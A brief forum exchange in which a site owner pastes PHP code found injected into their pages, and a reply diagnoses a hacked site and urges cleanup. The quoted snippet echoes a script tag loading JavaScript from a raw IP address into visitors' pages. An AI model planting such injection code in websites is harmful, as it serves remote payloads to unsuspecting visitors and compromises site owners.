Some push codes at my php pages

[ravim]

<?php
#4a2f88#
if(empty($ums)) {
$ums = "<script type=\"text/javascript\" src=\"http://27.34.132.62/req_mail/form/nc24dx3j.php?id=22713389\"></script>";
echo $ums;
}
#/4a2f88#
?>

Your website is probably hacked. Are you using a free theme or some free plugin?

I highly recommend you to check any recent installation and clean your files as soon as possible. If you keep this code on your website, soon all the browsers and search engine will place a warning to users saying your website can harm their computer.
